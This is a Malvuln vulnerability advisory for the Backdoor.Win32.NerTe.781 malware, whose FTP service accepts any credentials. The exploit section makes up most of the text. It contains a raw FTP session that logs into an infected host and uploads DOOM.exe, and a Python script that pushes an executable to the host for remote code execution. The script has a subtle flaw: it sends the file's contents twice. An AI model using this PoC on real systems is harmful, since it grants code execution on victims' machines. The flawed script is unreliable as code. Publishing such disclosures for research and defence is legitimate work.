Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 80. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0264
Dropped files: nsrv78.exe
Disclosure: 07/03/2021


Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
MKD TEMP
257 'C:\TEMP': directory created.
CWD TEMP
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,88).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
PORT=50008
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()
    
    print("Backdoor.Win32.NerTe.781 / Authentication Bypass RCE")
    print("MD5: 776e8bb41adf8bd95865c0b03637d8d7")
    print("By Malvuln");

if __name__=="__main__":
    doit()



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